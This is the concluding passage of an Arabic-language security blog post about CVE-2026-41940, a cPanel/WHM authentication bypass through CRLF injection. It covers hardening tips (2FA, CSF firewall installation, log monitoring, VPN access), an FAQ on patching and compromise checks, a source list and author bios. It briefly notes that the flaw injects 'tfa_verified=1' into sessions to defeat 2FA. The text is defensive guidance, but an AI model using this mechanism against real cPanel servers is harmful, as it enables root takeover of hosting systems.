ثالث نصيحة... فعّل 2FA (Two-Factor Authentication). حتى لو حدا تخطى كلمة السر، 2FA بيضيف طبقة حماية إضافية (بس CVE-2026-41940 بتتخطاها كمان لأنها بتحقن tfa_verified=1).

رابع نصيحة... راقب السجلات. ثبت نظام مراقبة زي Fail2Ban أو CSF/LFD عشان ينبهك لمحاولات الاختراق:

# فحص سجلات WHM يومياً
tail -f /usr/local/cpanel/logs/access_log | grep "2087"

# تثبيت وتفعيل CSF Firewall
cd /usr/src
wget https://download.configserver.com/csf.tgz
tar xzf csf.tgz
cd csf
./install.sh
csf -e

خامس نصيحة... استخدم VPN للإدارة. بدل ما تفتح بورت 2087 للإنترنت، ادخل على السيرفر عبر VPN أولاً وبعدين افتح WHM من الشبكة الداخلية.

مصادر ومراجع مهمة

هاي أهم المصادر اللي استخدمتها بهالمقال وبتقدر ترجعلها للتفاصيل الكاملة:

watchTowr Labs — التحليل التقني الكامل

GitHub — أداة الكشف (Detection Artifact Generator)

NVD — تفاصيل CVE-2026-41940

Rapid7 — تقرير الاستجابة السريعة

BleepingComputer — تقرير الثغرة

The Hacker News — التغطية الإخبارية

وإذا بدك تتعلم أكتر عن OSINT وجمع المعلومات، شوف مقالنا عن أداة Sherlock OSINT.

أسئلة شائعة

سؤال: هل سيرفري مُصاب بالثغرة؟

إذا cPanel عندك قبل الباتش (28 أبريل 2026) وما حدثته، أيوا مُصاب. شغل /usr/local/cpanel/cpanel -V وقارن الرقم مع الإصدارات المُرقّعة اللي ذكرناها فوق.

سؤال: هل التحديث كافي لحمايتي؟

التحديث بيسد الثغرة بس ما بيمسح آثار الاختراق اللي صار قبله. لازم تعمل فحص IoC كامل وتغيّر كل كلمات السر وتفحص الـ crontab والـ SSH keys.

سؤال: هل الثغرة بتشتغل على cPanel بورت 2083 كمان؟

الثغرة الأساسية بتستهدف WHM على بورت 2087. بس cPanel (بورت 2083) بيشارك نفس الـ cpsrvd daemon، فنظرياً الـ CRLF injection ممكن يشتغل بس تخطي المصادقة كـ root بيكون عبر WHM.

سؤال: أنا بستخدم Plesk مش cPanel، هل أنا بأمان؟

أيوا، هالثغرة خاصة بـ cPanel/WHM فقط. Plesk و DirectAdmin و ISPConfig ما بتأثر عليهم. بس دايماً حدث أي نظام بتستخدمه.

سؤال: هل بقدر أستغل هالثغرة على Bug Bounty؟

cPanel عندهم برنامج Bug Bounty بس الثغرة انكشفت ورُقّعت، فما رح تحصل مكافأة عليها. بس بتقدر تبحث عن سيرفرات مُصابة ضمن برامج Bug Bounty لشركات بتستخدم cPanel وتبلّغهم إنهم لسا ما حدّثوا.

سؤال: كيف watchTowr اكتشفوا الثغرة؟

فريق watchTowr Labs بيعملوا تحليل للباتشات (Patch Diffing). لما cPanel نزّل التحديث الأمني، هم حللوا شو تغيّر بالكود واكتشفوا إنو الباتش بيسد ثغرة CRLF injection بملفات الـ Session. ومن هون عملوا Reverse Engineering للثغرة وكتبوا الـ PoC.

سؤال: هل في أدوات بديلة لفحص الثغرة؟

غير أداة watchTowr، بتقدر تستخدم Nuclei مع Templates محدثة، أو السكربت اللي كتبناه فوق بالمقال. وكمان Nmap عنده سكربت NSE لفحص cPanel بس لسا ما نزل واحد خاص بهالثغرة.

خلاصة المقال

ثغرة CVE-2026-41940 من أخطر الثغرات اللي شفناها بسنة 2026. بتأثر على ملايين المواقع حول العالم وبتعطي المهاجم صلاحيات root كاملة على أي سيرفر cPanel/WHM بدون ما يعرف كلمة السر.

السبب الجذري بسيط: عدم تنقية أحرف CRLF بكلمة السر لما تنكتب على القرص بدون تشفير. وهاد بيوريك كيف ثغرة "بسيطة" من نوع CRLF Injection ممكن تتحول لكارثة أمنية لما تكون بمكان حساس.

إذا عندك سيرفر cPanel، حدثه فوراً وافحص مؤشرات الاختراق. وإذا اكتشفت إنك تعرضت للاختراق، غيّر كل كلمات السر وافحص الـ crontab والـ SSH keys والملفات المشبوهة.

ولا تنسوا تتابعوا قناة ومدونة Shadow Hacker عشان يوصلكم كل جديد بعالم الأمن المعلوماتي. وإذا عندكم أي سؤال أو بدكم أشرح ثغرة ثانية بالتفصيل، اكتبولي بالتعليقات. دمتم بحماية وأمان يا شباب.

CVE-2026-41940, ثغرة cPanel 2026, cPanel authentication bypass, WHM RCE exploit, تخطي مصادقة cPanel, CRLF injection cPanel, cPanel zero day, watchTowr Labs exploit, استغلال cPanel WHM, cPanel session hijacking, اختراق سيرفرات cPanel, cPanel patch update, PoC CVE-2026-41940, cPanel security vulnerability, أمن السيرفرات 2026, cPanel WHM hack, كيف تحمي سيرفر cPanel, اختبار اختراق cPanel, ثغرات الاستضافة 2026, Sina Kheirkhah cPanel


SH

Shadow Hacker

مؤسس ومحرر المدونة | خبير أمن معلومات وتقنية

متخصص في الأمن السيبراني واختبار الاختراق وتحليل الثغرات. بشارك معكم كل جديد في عالم التقنية والأمن المعلوماتي بأسلوب عملي ومبسط.

🔔 لا تفوتك مواضيعنا الجديدة!

تابعنا عشان توصلك أحدث المقالات في عالم الأمن والتقنية مباشرة

Tareq Shadow
Tareq Shadow
طارق الصافي المعروف في الأوساط التقنية بلقب "Shadow Hacker"، متخصص ومهتم بشغف في مجال التقنية وأمن المعلومات. لدي خبرة واسعة في أحدث التقنيات والتهديدات الأمنية السيبرانية. على مر السنين، أحب تقديم حلول مبتكرة لحماية البيانات والأنظمة من التهديدات الرقمية المتطورة. بجانب اهتماماتي بالتقنية، احب مشاركة المعرفة مع الجميع واحب ان اكون جزءًا من الحركة العالمية التي تسعى لجعل الإنترنت مكانًا أكثر أمانًا للجميع.
تعليقات